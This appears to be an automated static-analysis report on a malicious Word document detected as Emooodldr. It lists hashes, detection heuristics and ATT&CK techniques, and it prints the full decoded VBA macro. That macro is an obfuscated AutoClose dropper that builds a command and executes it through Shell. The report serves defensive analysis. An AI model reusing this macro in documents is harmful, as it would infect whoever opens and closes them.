Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 f85cdff7982cdd06…

MALICIOUS

Office (OOXML)

53.8 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-18
MD5: 223b43c3adf88f89c86c1f1e6da1d2e3 SHA-1: 80ddd53193e956dfdace98b42e3d085ec94c7edd SHA-256: f85cdff7982cdd06bfd1deea928678ebc6d83625a2f5090f094153312e914849
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoClose macro is triggered upon closing the document, which then calls obfuscated VBA functions to construct and execute a command. This command likely downloads and executes a second-stage payload, as indicated by the ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0'. The use of VBA and the AutoClose function are common for macro-based malware delivery.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2150 bytes
SHA-256: 34ccb5f67e4bf3e65f0c349685525f41d8dfa9bd1487205ea81d11f64f8b65e9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function jeffrey(alluvious)
  oxyopia = Array("q", "c", "O", "7", "P", "Z", "9", "j", "8", "4", "a", "E", "X", "G", "y", "k", "b", "p", "T", "M", "l", "A", "m", "K", "h", "W", "C")
  blearinesses = Array("/", ".", "o", "?", "U", "=", "O", "a", "w", "d", "s", " ", "i", "k", "n", "h", "e", "x", "u", "b", "c", "q", "p", ":", "t", "j", "m")
  
  secern = vbNullString
  
  For Each demineralization In alluvious
    tavastian = Application.Run("aminoguanidine", demineralization, oxyopia)
    If tavastian > -1 Then
    secern = blearinesses(tavastian) + secern
    End If
  Next
  
  jeffrey = StrReverse(secern)
  
End Function

Public Function aminoguanidine(insurgent, tropotaxis)

  rubythroat = 7625
  immortalityator = -1
  For Each muckiest In tropotaxis
    If muckiest = insurgent Then
     rubythroat = immortalityator
     Exit For
    End If

    immortalityator = immortalityator + 1
    
  Next

  
  If rubythroat = 7625 Then
    rubythroat = -1
  End If


  aminoguanidine = rubythroat + 1
End Function




Sub AutoClose()
  alluvious = Array("C", "a", "k", "h", "j", "c", "b", "p", "b", "E", "k", "h", "h", "m", "K", "q", "q", "A", "8", "4", "X", "O", "j", "y", "4", "W", "j", "M", "y", "8", "k", "4", "j", "8", "c", "l", "O", "C", "q", "9", "P", "q", "a", "C", "X", "p", "c", "m", "k", "m", "7", "T", "h", "C", "j", "Z", "G", "X", "C", "O", "M")
  rhipidoglossal = jeffrey(alluvious)
  
  Application.Run "rope", (rhipidoglossal)
  
End Sub


Private Sub rope(nonconferrable)
   
   eurygnathous = 5011
   baggie = True
   
   While baggie
     myalgic = eurygnathous + 27733
     If myalgic - eurygnathous > 313 Then
       salinization = trollius + "ll"
       Call VBA.Shell(nonconferrable, vbNormalFocus - 1)
       baggie = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 897ca34130558140ee6feb5e22a336fd4c80900edf9d9809997dd12b1fbc0702
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.